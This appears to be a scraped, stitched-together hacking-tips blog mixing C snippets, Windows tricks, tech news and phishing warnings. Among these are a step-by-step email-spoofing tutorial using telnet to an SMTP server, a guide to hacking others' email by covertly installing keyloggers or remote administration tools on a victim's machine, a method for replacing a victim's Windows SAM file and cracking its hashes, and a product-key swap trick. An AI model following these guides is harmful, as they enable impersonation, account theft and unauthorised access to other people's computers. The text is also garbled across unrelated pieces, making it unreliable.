Certainly! There are plenty of commercial programs that will do this, but we give props to Elcomsoft for fighting the DMCA. 30-day trial versions are available here

This program will destroy itself upon execution.The program will cause the .exe file to be deleted upon execution.That is this program is capable of destroying itself upon execution.Heres the code


#include
#include
#include
void main()
{
printf(”This program will destroy itself if u press any key!!!\n”);
getch();
remove(_argv[0]);/*array of pointers to command line arguments*/
}

HOW TO COMPILE ?
Load the source code to the compiler and compile(press Alt-F9) and then press F9.This will generate the .exe file in the current directory(Bin directory).Execute this .exe file it will destroy itself upon execution.

Tools that can help people potentially defraud innocent surfers are available for free download on the internet, it has been claimed.

The do-it-yourself kits provide all the essential tools for launching phishing attacks - those that use spoofed emails and fraudulent websites to trick people into giving out personal financial data.

Phishing scams are on the up. Security company MessageLabs has intercepted an average of 250,000 phishing emails a month so far in 2004, compared to just 14 phishing-related emails back in August 2003.

According to anti-virus company Sophos, the DIY kits contain all the graphics, web code and text required to construct fake websites that look like legitimate online banking or shopping sites. They also include spamming software which would let you send out millions of phishing emails as bait for potential victims.

“Until now, phishing attacks have been largely the work of organised criminal gangs, however, the emergence of these ‘build your own phish’ kits mean that any old Tom, Dick or Harry can now mimic bona fide banking websites and convince customers to disclose sensitive information such as passwords, PIN numbers and account details,” said a spokesman for Sophos.

“There is plenty of profit to be made from phishing. By putting the necessary tools in the hands of amateurs, it’s likely that the number of attacks will continue to rise.”

Surfers that receive a suspicious email that claims to come from an online bank or e-commerce site should delete them and not click on any included links.

It can be a nightmare if someone else takes control of your Google Account because all your Google services like Gmail, Orkut, Google Calendar, Blogger, AdSense, Google Docs and even Google Checkout are tied to the same account.

Here are some options suggested by Google Support when your forget the Gmail password or if someone else takes ownership of your Google Account and changes the password:

1. Reset Your Google Account Password:

Type the email address associated with your Google Account or Gmail user name at google.com/accounts/ForgotPasswd - you will receive an email at your secondary email address with a link to reset your Google Account Password. This will not work if the other person has changed your secondary email address or if you no longer have access to that address.

2. For Google Accounts Associated with Gmail:

If you have problems while logging into your Gmail account, you can consider contacting Google by filling this form. It however requires you to remember the exact date when you created that Gmail account.

3. For Hijacked Google Accounts Not Linked to Gmail:

If your Google Account doesn’t use a Gmail address, contact Google by filling this form. This approach may help bring back your Google Account if you religiously preserve all your old emails. You will be required to know the exact creation date of your Google Account plus a copy of that original “Google Email Verification” message.It may be slightly tough to get your Google Account back but definitely not impossible if you have the relevant information in your secondary email mailbox.

Can you create a folder named “con”, “prn”, “nul” “com1″ “com2″ “lpt1″ etc. in windows ?

The answer is NO and YES!

NO because create a new folder and try to rename it to any one of the above specified names, you know what happens! In Windows XP the folder name automatically changes back to “New Folder” no matter you try any number of times.Where as in Windows Vista when you try to rename the file you get an error message “The specified device name is invalid”.

What is the reason for this? Simple, these names represent the internal devices and hence we cannot create folders with the above names.

YES because it is still possible to create these folders using the command prompt.Heres the instructions to create it.

1. Go to command prompt

2. Type in prompt (FOR EG. TO CREATE CON FOLDER IN E: DRIVE)

C:\>md \\.\e:\con

NOTE:”con” can be replaced by any other names such as “prn”, “nul” “com1″ “com2″ “lpt1″ etc.

3. To delete the folder use the following command

C:\>rd \\.\e:\con

NOTE:The folder can only be deleted from the command prompt.You cannot remove it by right-click delete

Most of the email forging tutorials on internet will teach us how to send fake email connecting to SMTP server of the ISP or any other domain.But this is not possible since these hacks will no longer work today because SMTP of remote server will reject any attempts for unauthorised access.Also many of the websites offer you to send fake email from their sites where none of them work.So we have to run our own SMTP server on our computer to successfully send a fake email.SMTP server is a simple software program which can be installed on your computer in few seconds.SMTP server allows you to send fake email right from your desktop easily and effectively.Download QK SMTP server HERE.This is the SMTP server i am using in my tutorial.Once you download and install the server on your comp then you are all set to send fake email successfully.This works 100%,so trust me & continue.

PART A: CONFIGURING SMTP SERVER

Once you have installed the QK SMTP server on your comp you must perform the following configuration.

1. Click on “Settings” button on the main screen,the Settings window pops up

2. On Settings window click on “Basic Parameter” tab

3. Set binding IP to “127.0.0.1″

4. Set port to “25″

PART B: SENDING FAKE EMAIL (EMAIL FORGING)

1. Click on SMTP server icon on your desktop to start your SMTP server to run(The icon is shown on the notification area of the taskbar if it is running).If it is already running then this step can be ignored

2. Goto command prompt(Start-Accessories-Command prompt)

3. Type exactly as follows

C:\>telnet 127.0.0.1 25

Here 127.0.0.1 is the default IP of every computer.25 is the port number.SO you are connecting to the SMTP server running on your own computer.This step is very importand to send fake email.

NOTE: The IP 127.0.0.1 should not be substituted by any other IP.

Heres the snapshot of what you see after step 3.Click on it to enlarge

4. After typing the telnet command in the command prompt you get entry to the server which displays the following message.The response of a OK SMTP server is given below.Message within Green color is only explanation.



220 Welcome to QK SMTP Server 3

helo hacker (Type helo & any name followed by space)

250 Hello hacker (Server Welcomes You)

mail from:billg@microsoft.com (email ID can be anything of your choice.This is the ID from which fake email appears to have come from)

250 billg@microsoft.com Address Okay (Server gives a positive response)

rcpt to:admin@gmail.com (Type any valid recipient email address)

250 admin@gmail.com Address Okay (Server gives a positive response)

data (type this command to start input data)

354 Please start mail input

From:Gates <billg@microsoft.com>

To:admin@gmail.com

Date:Sat Jan 5,2008 9:45 PM

Subject:Test to send fake email

You can create as many headers followed by the “:” symbol.

NOTE:HEADERS SHOULD NOT CONTAIN A LINE GAP.IF SO IT IS CONSIDERED AS BODY OF THE EMAIL. Press enter twice so that there is a line gap between the header & body data

<HERE IS YOUR DATA>End the body of email by pressing [ENTER] .(dot) [ENTER]

250 Mail queued for delivery (Sever indicates that the email is ready for sending)

quit (Type this command to quit from server)

221 Closing connection. Good bye.

Connection to host lost

(You will get the above 2 lines of message after typing “quit” command)

(Your fake email is sent to the recipient)

NOTE: The fake email that you have sent may also reach the spam/bulk box.So if you are trying a fake email test on your own inbox then please do check the spam/bulk box also.

Some times it becomes necessary to block a website on our Computers for one or other reason.You can easily and effectivily block access to a website by adding it to your Windows HOSTS file.Once the website is blocked in the HOSTS file,it will not appear in any of the browsers.That is,the website becomes completely unavailable.

 

1.Go to your HOSTS file which is located at:

C:\WINDOWS\SYSTEM32\DRIVERS\ETC for Vista and XP

C:\WINNT\SYSTEM32\DRIVERS\ETC for Win 2000

C:\WINDOWS for Windows 98 and ME

2. Open HOSTS with Notepad.

The default Windows HOSTS looks like this:

______________________

# Copyright © 1993-1999 Microsoft Corp.

#

# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.

#

# This file contains the mappings of IP addresses to host names. Each

# entry should be kept on an individual line. The IP address should

# be placed in the first column followed by the corresponding host name.

# The IP address and the host name should be separated by at least one

# space.

#

# Additionally, comments (such as these) may be inserted on individual

# lines or following the machine name denoted by a “#” symbol.

#

# For example:

#

# 102.54.94.97 rhino.acme.com # source server

# 38.25.63.10 x.acme.com # x client host

#

127.0.0.1 localhost

_____________________________

3. Directly under the line that says 127.0.0.1 Localhost, you will want to type:

127.0.0.1 name of the URL you want to block

For example to block the website MySpace.com, simply type:

127.0.0.1 myspace.com

127.0.0.1 www.myspace.com

Other parts of MySpace could be blocked in a similar way:

127.0.0.1 search.myspace.com

127.0.0.1 profile.myspace.com

etc etc etc…

It is necessary to add a website with and without the “www.”. You can add any number of websites to this list.

4. Close Notepad and answer “Yes” when prompted.

5. After blocking the website, test it in any of the browser.If every thing is done as said above,the website must not appear in any of the web browsers. You should see a Cannot find server or DNS Error saying: “The page cannot be displayed”.I have also created a virus to block a website which automatically blocks a list of websites as specified in the source program.

Some people suggest that your add a website to the Internet Explorer ‘Privacy’ settings. This does not block a site. It only stops that site from using cookies.

Add A 40/60/80 GB Hard Drive

When you are removing the case slowly work down the “crack” until it pops up. Do not pry the whole thing from one end. You should now be able to remove the battery and hard drive casing.

Remove the 4 screws holding the drive case on the board as well as the clip for the battery. Remove the battery. Now remove both clips for the clickwheel. Simply lift up on the brown parts with a flathead screwdiver or your fingernails if you have them. Now lift up on the hard drive and put the drive and casing above the top part of the Zune (by the headphone jack).

Remove the drive cable clip and remove the sticky tape off the label side of the drive. You should now be able to remove the hard drive to replace it. Now get your new 40/60/80GB drive and remove the metal plate label. You should be able to use your fingernail to pop the label side off of the drive. There are two sticker spots holding this on so it will not come off easily.

After the label plate is removed we can connect the new drive to the Zune. You do not need to re-use the hard drive cage when installing a 60/80GB drive because the drive is too large. If you are using a 40GB drive then you can use the exact set up as the 30GB drive.

You should cut the old drive pads to fit two of them on the new drive. Be careful not to use too much or your new drive will not fit. When putting everything back together be sure and use your old battery enclosure so the battery gets seated properly.

A resolution of 2880×900. Dimensions equivalent to two 24″ widescreen monitors standing end-to-end. DLP rear projection on a curved screen, with OLED illumination. An insignificant .02ms response time.

Alienware’s new curved monitor caused quite a stir when it was revealed here at CES. It seemed like the natural evolution of monitor technology had finally arrived. After all, the human eye is curved, so why shouldn’t our monitors curve too? What a great idea.

So is it that great? Well, it’s as quick as curved. Not that any of that means much right now, because this monitor has major problems.

One of the more intriguing technologies at the Consumer Electronics Show (CES) being held this week is a 42-inch-long, curved monitor. Made by Alienware, the monitor is supposed to simulate peripheral vision. The sci-fi-like screen is aimed at gamers for a more immersive experience, although it might not be as suitable for design or text work.

If 42 inches is still not big enough for you, it’s possible to put two of these monitors side-by-side for a dual monitor configuration.

Another issue is the image quality. While the picture seemed sharp, it lacked color depth, appearing altogether faded. And ultimately, I care far more about image quality than the shape of the box.

CES was dominated by another display technology–3D glasses. Yes, the technology that has moved from gimmick to money-maker in the movie industry is still being pushed on the PC. And though it has progressed since the 90s, 3D gaming monitors and glasses still haven’t gotten to the point of usefulness. Every pair I tried left me disappointed and cross-eyed.

In the same way, I’m not sure this monitor is ready. It will surely be too expensive to even contemplate, requiring an even costlier PC to run a game at such a massive resolution. Beyond the obvious flaws that need to be addressed, it’s just plain bulky–and while I wouldn’t place the curving monitor into the realm of pure gimmick, in person, it only really qualifies as “neat.”

If you want one anyway, I can’t blame you. My shelves are full of neat, expensive, and obsolete technology too. Keep your eyes open late into this year.

It is not an easy task to hack Orkut by breaking this security! But still some people manages to get access to other’s Orkut accounts. The question concerned is How they do it? Many of them just use simple tricks that fool users and then they themself leak out their password. Here are some points you need to take care of, to prevent your Orkut account being hacked!

Phishing Attack is the most popular way of hacking/stealing other’s password.By using fake login pages it is possible to hack Orkut. Here the users land on a page where they are asked for their login information and they enter their Orkut username and password thinking it to be a real page but actually it is other way round. It submits all the entered details to the creator of the fake login page.

Orkut New Features: I have come across a page(fake page) that looks like they are giving the user a choice of selecting new features for orkut with your ID and password, of course!! When the user submit’s his/her Orkut login information through this page, there goes his ID and password mailed to the coder.

Community Links: Many times you are provided with a link to a community in a scrap. Read the link carefully, It may be something like http://www.okrut.com/Community.aspx?cmm=22910233 OKRUT not ORKUT. This is definitely a trap created by the hacker to hack your Orkut password. Clicking on this link will take you to a fake login page and there you loose up your password.

Java script: You must have seen the circulating scraps that asks you to paste this code in your address bar and see what happens! Well sometimes they also leak out your information. Check the code and if you are unsure of what to do, then I recommend not to use it.So be careful, javascripts can even be used to hack Orkut!

Primary mail address: If by some means a hacker came to know the password of your Yahoo mail or Gmail, which users normally keeps as their primary mail address in their Orkut account, then hacker can hack Orkut account by simply using USER ID and clicking on ‘forget password’.This way Google will send link to the already hacked primary email ID to change the password of the Orkut account. Hence the email hacker will change your Orkut account’s password. Hence your, Orkut account is hacked too.

So a better thing would be to keep a very unknown or useless email id of yours as primary email id so that if the hacker clicks on ‘Forgot password’ the password changing link goes to an unknown email id i.e. not known to the hacker.Hence your Orkut account saved.

So, I hope that this post not only teaches you to hack Orkut but also to hack protect your Orkut account.

If you would like to share something, comment here and I will add up here with a credit to your name.

YES because Gmail includes a sophisticated spam filter that they are still continuing to improve.It removes spam from the inbox and sends valuable data to the Gmail team working on spam blocking.

NO because it has still got some major bugs that are inefficient to filter even a simple forged email(spam email).I was just trying to send a fake email by experimenting it on my own Gmail account.But i was surprised to see that the fake email was delivered directly to the inbox itself.This time Gmail failed to filter a simple spam.But this is not the case all the time.Some times i have noticed that these kind of fake emails are filtered and moved to the Spam folder.So there lies an uncertainty between under what conditions the filter works efficiently and under what conditions it does’nt.So it’s not possible to completely relay on Gmail for spam filtering and also we cannot ensure that all those mails in the inbox are legitimate.

I have tried this trick on Yahoo but unlike Gmail all the forged emails (fake emails) were perfectly filtered.That does’nt mean that Yahoo is more efficient than Gmail,but these things show the major bugs in Gmail.

Many times we wonder why Gmail & Orkut still carry that 4 letter word “BETA”.But these are some of the reasons for Gmail to be still in testing stage.

Here’s some of the snapshots of my own inbox.Theres a couple of fake messages that appears to have come from Bill Gates <billg@microsoft.com>. The mail offers me a partnership of 50% in Microsoft Corporation where Gates personally invites me to join his company!!!

I have decided to write a new post with detailed instructions on sending a fake email.

Here’s the step-by-step tutorial on: How To Send Fake Email ?

This program can be used to set or change the system time

#include
#include

int main(void)
{
struct time t;
gettime(&t);
printf(”The current hour is: %d\n”, t.ti_hour);
printf(”The current min is: %d\n”, t.ti_min);
printf(”The current second is: %d\n”, t.ti_sec);

/* Add one to the hour,minute & sec struct element and then call settime */

t.ti_hour++;
t.ti_min++;
t.ti_sec++;
settime(&t);
printf(”The current hour is: %d\n”, t.ti_hour);
printf(”The current min is: %d\n”, t.ti_min);
printf(”The current second is: %d\n”, t.ti_sec);
return 0;
}

This program will get or read the current system date from the system.It displays Year,Month and Day.

#include
#include

int main(void)
{
struct date d;
getdate(&d);
printf(”The current year is: %d\n”, d.da_year);
printf(”The current day is: %d\n”, d.da_day);
printf(”The current month is: %d\n”, d.da_mon);
return 0;
}

This program can be used to set the system date or to change the current system date.






#include
#include
#include

int main(void)
{
struct date reset;
struct date save_date;
getdate(&save_date);
printf(”Original date:\n”);
system(”date”);
reset.da_year = 2001;
reset.da_day = 1;
reset.da_mon = 1;
setdate(&reset);
printf(”Date after setting:\n”);
system(”date”);
setdate(&save_date);
printf(”Back to original date:\n”);
system(”date”);
return 0;
}

The most frequent questions asked by many people especially in a chat room is How to  Hack Yahoo, Gmail or any other Password .So you as the reader are most likely reading this because you want to hack into some body’s email account.Here are some of the tricks that can be used to track password of a person’s email account.

THINGS YOU SHOULD KNOW BEFORE PROCEEDING



There is no program that will hack the password of one’s account.There exist many programs which claims hack an email account,but unfortunately people using these kind of programs will only end up in frustration.None of these programs will hack an account, since services like Hotmail, Yahoo!, etc. have it set so that it will lock you from that account after a certain number of login attempts.Another thing you must know if you ask this question in any “hacker” chat room/channel, you hear that you have to email some address and in any way you give up your password in the process, in attempt to other’s email account.So DO NOT BELEIVE THIS.

TWO EASY WAYS TO HACK AN EMAIL ACCOUNT

IF YOU HAVE ACCESS TO VICTIM’S COMPUTER

If you have physical access to victim’s computer then it’s definitely possible to hack his/her account.This can easily be done by just installing a keylogger.

What is a keylogger?

A keylogger, sometimes called a keystroke logger, key logger, or system monitor, is a hardware device or small program that monitors each keystroke a user types on a specific computer’s keyboard.Keylogger is the easiest way to hack an email account if you have physical access to victim’s computer. 

A keylogger program can be installed just in a few seconds and once installed you are only a step away from getting the victim’s password.

1.Where is the keylogger program available?

A keylogger program is widely available on the internet.some of them are listed below

Powered Keylogger

Advanced keylogger

Elite Keylogger

Handy Keylogger

Quick Keylogger

There exists hundreds of such keyloggers available on the net.These are software keyloggers.There are also hardware Keyloggers available which can be directly attached to computer and can be used to sniff valuable data.These programs are none other than spyware! So use it @ your own risk.

2.How to install it?



You can install these keyloggers just as any other program but these things you must keep in mind.While installing,it asks you for a secret password and a hot key to enable it.This is because after installing the keylogger program is completely hidden and the victim can no way identify it.

3.Once installed how to get password from it?



The hacker can open the keylogger program by just pressing the hot keys(which is set during installation) and enter the password.Now it shows the logs containing every keystroke of the user,where it was pressed,at what time,including screenshots of the activities.These logs contain the password of the victim’s email account.

4.Which keylogger program is the best?

According to me Elite Keylogger and Powered keyloggerare the best.You can also read the features and side by side comparisons of them and select the best that suites your needs.

IF YOU DO NOT HAVE ACCESS TO VICTIM’S COMPUTER



Of course the above method can only be employed if you can access victims computer.But how to hack an email account if we do not have access.In this case there exists many Remote Administration Toolscommonly known as RATs available on net.Just try googling and you can get one. Here’s my new post on keyloggers with remote installation support : How To Hack Yahoo Password 

In case you deliberately need to retrieve a password then you can hire Email hacking services to hack the account.There exists many such sites which claim to get any one’s PW on demand for just a few dollars.I have no trust on these site.But any way you can give a try.

The other most commonly used trick to sniff password is using Fake Login Pages.

Today, Fake login pages are the most widely used techniques to hack an email account.A Fake Login page is a page that appears exactly as a Login page but once we enter our password there ,we end up loosing it.

Fake login pages are created by many hackers on their sites which appear exactly as Gmail or Yahoo login pages but the entered details(username & pw) are redirected to remote server and we get redirected to some other page.Many times we ignore this but finally we loose our valuable data.

Before leaving you should definitely consider reading my latest post Hacking Yahoo, Gmail or any other Password which covers the real ways of professional email hacking using Fake Login Pages

WARNING:ALL THE ABOVE INFORMATION IS FOR EDUCATIONAL PURPOSES ONLY.THE SITE HOLDS NO RESPONSIBLITY ON WHAT WAY YOU USE THESE INFORMATIONS

Phishing is an attempt to criminally and fraudulently acquire sensitive information, such as usernames, passwords and credit card details, by appearing as a trustworthy entity in an electronic communication. eBay, PayPal and other online banks are common targets. Phishing is typically carried out by email or instant messaging and often directs users to enter details at a website, although phone contact has also been used. Phishing is an example of social engineering techniques used to fool users.Attempts to deal with the growing number of reported phishing incidents include legislation, user training, public awareness, and technical measures.

Recent phishing attempts have targeted the customers of banks and online payment services.Social networking sites such as Orkut are also a target of phishing.

Spoofed/Fraudulent e-mails are the most widely used tools to carry out the phishing attack.In most cases we get a fake e-mail that appears to have come from a Trusted Website . Here the hacker may request us to verify username & password by replaying to a given email address.

TECHNIQUES BEHIND PHISHING ATTACK

1.Link Manipulation

www.micosoft.com

www.mircosoft.com

www.verify-microsoft.com

instead of http://www.microsoft.com/

2.Filter Evasion

Phishers have used images instead of text to make it harder for anti-phishing filters to detect text commonly used in phishing emails.This is the reason Gmail or Yahoo will disable the images by default for incoming mails.

How does a phishing attack/scam look like?

As scam artists become more sophisticated, so do their phishing e-mail messages and pop-up windows.They often include official-looking logos from real organizations and other identifying information taken directly from legitimate Web sites.Here is an example of how the phishing scam email looks like

How to identify a fraudulent e-mail?

Here are a few phrases to look for if you think an e-mail message is a phishing scam.

“Verify your account.”

Legitimate sites will never ask you to send passwords, login names, Social Security numbers, or any other personal information through e-mail.

“If you don’t respond within 48 hours, your account will be closed.”

These messages convey a sense of urgency so that you’ll respond immediately without thinking.

“Dear Valued Customer.”

“Click the link below to gain access to your account.”

Notice in the following example that resting the mouse pointer on the link reveals the real Web address, as shown in the box with the yellow background. The string of cryptic numbers looks nothing like the company’s Web address, which is a suspicious sign.

This article introduce very simple way to hack Administrator Password on Win XP System.This tutorial tells you how to break administrator password and gain access to admin account.Also if you need to crack/reveal the password you find the steps here to accomplish that also.

First of all let us have a close look at the Security flaws/Loopholes in Win XP

Microsoft stores all Security Information in many files but the main file is the SAM file (Security Accounts Manager)! this file contain security information about users(mainly Password).You can explore the SAM file here in this folder

$windows\system32\config

SAM is the file which contains the passwords in the form of a HASH.A HASH is a mathematically irreversible form of encryption,so that theres no way of decrypting the password back .Also there’s a file called SECURITY that contains a list of all users in the system & their related information



We will Not be able To copy them Under XP since it doesn’t support any attempt to copy this file.

The Idea Behind Cracking the password

The Idea is simple I will explain it manually and it can also be programmed.Here’s the idea..

The SAM contain’s a Security Information(password/s), so I have created a Free Windows XP SP2 Logon account (Administrator Account without password) that means when windows Launch it Will enter directly to the system without asking about any password.So, this SAM file contain’s an open password(no password).This SAM file is available for download for your further use in breaking the password of the system.

So, the idea here is to replace the SAM file of victim’s computer(which contain’s password) with the SAM file which contains no password.When this is done the password of the victim’s account is erased and it let’s anyone to login to the computer as if there is no password set by admin.

But this SAM file cannot be manipulated(copy/rename/replace/delete) when the operating system is running.So here are some of the ideas to replace this SAM file.

1.If there are two OS installed on the computer we can boot from other OS and replace the SAM file located at

$:\windows\system32\config

2.If there is only a single OS then use the tool NTFS4DOS to access the location of the SAM and SECURITY files from the boot command prompt.

NTFS4DOS creates a bootable floppy disk.You can use this floppy to access the NTFS drives by booting the system and mounting it to DOS.

Here are the steps to be followed to break the password.

1- Download My SAM file which I have Included in Downloads

6- Yeah, Now you can directly enter the system without any password. ie:The PW is broken!.



Now you have broken the system administrator password and you can directly enter system.Now one phase of the password hack is over.If you need to know/crack the admin password then you can use the two files SAM & SECURITY that you have copied in the above STEP-3(This step is optional).It is done as follows.

Download any of the following Password crackers



1.LC4 (Lophtcrack).New version is LC5

OR

2.SAMINSIDE

LC5 is better according to me

You can also contact me using the Contact Form for those two tools if you don’t find it.

Once you have either of the two password cracking tools,you can load the SAM & SECURITY files and start the cracking process.This process may take a long time since it is Bruteforce method depending on the size of the password.



NOTE: THE ABOVE METHOD IS ALSO APPLICABLE FOR WINDOWS VISTA

IF THE ABOVE TRICK FAILS AND IF YOU GET AN ERROR-REFER THIS POST FOR A SOLUTION

“Security Accounts Manager Initialization Failed” How To Recover?

WARNING: THE ABOVE INFORMATION IF FOR EDUCATIONAL PURPOSES ONLY

According to data from NPD, Warner Brothers’ pre-CES announcement that it would back Blu-ray exclusively seems to have bolstered Blu-ray Disc player sales, and dramatically lowered HD DVD player sales. The data (disclosed by The Digital Bits), notes that in the week ending 1/5/08, Blu-ray Disc player sales were at 15,257 units, and HD DVD player sales were at 14,558 units.

Fast forward to after the Warner announcement. The week ending January 12 showed Blu-ray Disc had increased its lead by 42 percent, to 21,770 units sold. HD DVD sales plummeted by 88 percent, to just 1,758 units. This data would seem to support the fact that Warner’s announcement was indeed the tipping point that would ultimately determine the winner of the format war.

And no wonder. With Warner’s support, Blu-ray is now the format-of-choice of more than 70 percent of Hollywood’s content producers.

Of course, in looking at those numbers, Blu-ray’s commanding lead wasn’t the only thing that sprang to mind. I couldn’t help but notice that overall unit sales were actually down between those two weeks: 29,815 vs 23,528. Assuming, for a moment, that the first week sales weren’t just spiked by people using up holiday gift cards, that 21 percent drop in sales makes me think one of two things: Either a significant number of HD DVD buyers were so sensitive to the price of a player that they just won’t up the ante for the extra bucks that a Blu-ray player might require over HD DVD; or–the more likely scenario–a significant number of HD DVD buyers were purchasing the player primarily because it was an upconverting DVD player.

I’ll be interested to see what the January disc (software) sales data ends up showing once the month is out. My suspicion: We’ll see the Warner announcement had some impact there, as well (already, early 2008 Nielsen VideoScan sales, as reported by Home Media Magazine, show HD DVD represented just 15 percent of the high-def discs sold through January 13). I’ll also be interested in seeing whether the sales ratio for players maintains in the ensuing weeks, or if that 88 percent dropoff was an anomaly. The player sales numbers will be all the more interesting since Toshiba instituted aggressive price cuts on all three of its players as of January 13.

SYMPTOMS

When you start your Windows XP Home Edition or Windows XP Professional-based computer, you may receive the following error message:

Security Accounts Manager initialization failed because of the following error: A device attached to the system is not functioning. Error Status: 0xc0000001.

Please click OK to shut down this system and reboot into Safe Mode, check event log for more detailed information.

When you start the computer in Safe mode, you receive the same error message.

CAUSE

This issue may occur if the Security Accounts Manager file (SAM) is corrupted or missing.

RESOLUTION

To resolve this issue, either restore or replace the SAM file.

Note: You cannot use the repair process or the recovery console to resolve this issue. These methods require authentication, which cannot occur if the SAM file is corrupted or missing.

To resolve this issue, use one of the following methods.

Method 1: Restore the SAM File from Backup

If you used the Backup utility in Windows XP to back up the system state, you can restore the SAM (and all other registry settings) from the disk or archived copy by using the Restore Wizard or the Automated System Recovery Wizard.

Note: ASR is not supported on Windows XP Home Edition.

Method 2: Copy the SAM File from the Repair Folder

If you cannot restore the SAM file by using the Windows Backup utility, copy the SAM file from the following location

C:\WINDOWS\repairand paste it to this location:

C:\WINDOWS\system32\config

Note: When you do this, you will lose all accounts or groups that had been created. You will also need credentials that were valid at the time that the ASR was run. This will restore the SAM back to the last instance that Automated System Recovery (ASR) was run, or to when the system was first installed. To do this, follow these steps:

1.Do either of the following:

• Start the computer from another operating system (if you have a multiple-boot system). Note If Windows XP is installed on an NTFS file system drive, you must start the computer from an operating system that can access the NTFS drive (for example, Microsoft Windows 2000 or Microsoft Windows NT). If Windows is installed on a FAT32 drive, you can start the computer by using Microsoft Windows Millennium Edition (Me) or Microsoft Windows 98. -or

• Perform a parallel installation of Windows XP, and then start the computer from the parallel installation.

2. Click Start, click Run, type cmd (or command if you are using Windows Me or Windows 98), and then click OK.

3. At the command prompt, type each of the following commands, pressing ENTER after each command:

copy c:\windows\system32\config\sam c:\windows\tmp\sam.bak

delete c:\windows\system32\config\samcopy c:\windows\repair\sam

copy c:\windows\system32\config\sam

Note: This procedure assumes that you have Windows XP installed in the following default location:

c:\windows

4.Restart the computer by using the original installation of Windows XP.

Method 3: Reinstall Windows XP

If you cannot restore the SAM file by using either Method 1 or Method 2, you must reinstall Windows XP to replace the SAM file.

Note You must use the New Installation option to replace the SAM file. If you perform use the In-Place Upgrade (Reinstallation) option for Windows XP, the SAM file is not replaced. This method may require that you reformat the partition that Windows XP is installed to. Before you continue with this method, make sure that you have a backup of your My Documents folder, or select an option to install Windows XP to a different partition than where Windows is currently installed.

Yes it is possible to change Adminstrator password both in Win XP and Vista without knowing it.If you somehow manage to login as an Administrator then you can change the password without knowing it.

Heres the Step-By-Step instructions

1. Right-click on the “My Computer” icon on the desktop OR in the Start Menu.

2. Select the option “Manage”.

3. On the left pane expand the “Computer Management (Local) tree (if it is not already expanded)

4. Double click “Local Users and Groups” option From “System Tools” tree.

5. Click the “Users” option.

6. Now you will see the list of users on the right side pane,such as Administrator,Guest etc.

7. Right click the “Administrator” and select the option “Set Password” option.

8. Now you will see a warning message,Click on proceed.

9. Now the system asks you for “New Password” and “Confirm Password” .

10. After entering the password click on “OK”.The password is changed.That’s It!

It’s Windows Vienna

Windows 7 (formerly codenamed Blackcomb, then Vienna) is a future version of Microsoft Windows. It is expected to be the successor to Windows Vista. Microsoft has confirmed that the planned development time frame is at least three years, putting the release date around 2010. On July 20, 2007, Microsoft confirmed that Windows 7 is “the internal name for the next version of the Windows Client OS”.

Microsoft has refrained from discussing the details about Windows 7 publicly as they focus on the release and marketing of Windows Vista,though some early details of various core operating system features have emerged at developer conferences such as Windows Hardware Engineering Conference in 2006.

On February 9, 2007, Microsoft’s Ben Fathi claimed that the focus on the operating system was still being worked out, and could merely hint at some possibilities:

“We’re going to look at a fundamental piece of enabling technology. Maybe it’s hypervisors. I don’t know what it is” [...] “Maybe it’s a new user interface paradigm for consumers.

”

Bill Gates, in an interview with Newsweek, also suggested that the next version of Windows would “be more user-centric.” When asked to clarify what he meant, Gates said: “ That means that right now when you move from one PC to another, you’ve got to install apps on each one, do upgrades on each one. Moving information between them is very painful. We can use Live Services to know what you’re interested in. So even if you drop by a [public] kiosk or somebody else’s PC, we can bring down your home page, your files, your fonts, your favorites and those things. So that’s kind of the user-centric thing that Live Services can enable. [Also,] in Vista, things got a lot better with [digital] ink and speech, but by the next release there will be a much bigger bet. Students won’t need textbooks; they can just use these tablet devices. Parallel computing is pretty important for the next release. We’ll make it so that a lot of the high-level graphics will be just built into the operating system. So we’ve got a pretty good outline. ”

This program displayes the number of digits present in the number that is entered through the input.

#include
#include

void main()
{
unsigned long int num;
int i=0;
clrscr();
printf(”Enter the digit\n”);
scanf(”%lu”,&num);
while(num!=0)
{
num=num/10;
++i;
}
printf(”Length=%d”,i);
getch();
}

Here is a way to remove the recycle bin from your desktop.This trick help’s people who want to get rid of the recycle bin on the desktop.

1.Goto start,Run,Type “gpedit.msc” (Type without quotes)

2.On the left panel,under User Configuration expand the tree Administrative templates

3.Click on the subtree desktop (single click,do not expand it)

4.On the right panel,Select the option-Remove Recycle Bin icon from desktop properties

5.Double click the option,on the settings tab just select the option enabled,press OK & exit the window.

6.Refesh the desktop (press F5) ,Your Recycle Bin vanishous

This trick will show you how to change Windows XP product key without re-installing the operating system.This makes it possible to install a new genuine key without the need to format and re-install your Windows XP.

 

1.Goto start menu,run,type regedit

2.In registry editor goto

HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENT VERSION\WPA EVENTS



3.In the right panel open OOBE Time

4.Edit/Change atleast one entry there,press OK and close registry editor.

5.In run type the following command

%systemroot%\system32\oobe\msoobe /a

and press enter

6.Activation wizard appears

7.Select activation by phone and in the next screen select the option CHANGE PRODUCT KEY,enter a valid corporate product key,press OK and close the wizard

8.Reboot the computer and type the same command in the run

9.Activation wizard appears again and it shows the message WINDOWS IS ALREADY ACTIVATED.

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The following C program print’s the entered number in words.For example if the number entered is 12345 then the program prints the entered number in words as One Two Three Four Five




#include
void main()
{
int i=0;
unsigned long int digit;
char str[12],ch;
puts(”Enter the number (less than 10 digit)”);
scanf(”%lu”,&digit);
ultoa(digit,str,10); /*converts an unsigned long int to string*/
while(str[i]!=’\0′)
{
ch=str[i];
i++;
switch(ch)
{
case ‘1′:
printf(”ONE “);
break;
case ‘2′:
printf(”TWO “);
break;
case ‘3′:
printf(”THREE “);
break;
case ‘4′:
printf(”FOUR “);
break;
case ‘5′:
printf(”FIVE “);
break;
case ‘6′:
printf(”SIX “);
break;
case ‘7′:
printf(”SEVEN “);
break;
case ‘8′:
printf(”EIGHT “);
break;
case ‘9′:
printf(”NINE “);
break;
case ‘0′:
printf(”ZERO “);
break;
}
}
}

Microsoft allows bypass of Vista activation

This program generates the numbers in pyramid pattern.It takes the input from two through nine and generates the numbers in the pyramid pattern.For example if the input is 4 then the program produces the following output

…

   ….1

1111112 2

111113 3 3

111.4 4 4 4& so on..

CODE:



#include<stdio.h>

#include<conio.h>

void main()

{

int i,n,j,x=40,y=10;

clrscr();

printf(”Enter n (between 2 & 9)\n”);

scanf(”%d”,&n);

for(i=1;i<=n;i++)

{

gotoxy(x,y); /* To take the cursor to the co-ordinates x & y */

for(j=1;j<=i;j++)

{

 printf(”%d “,i);

}

x=x-1;

y++;

}

getch();

}

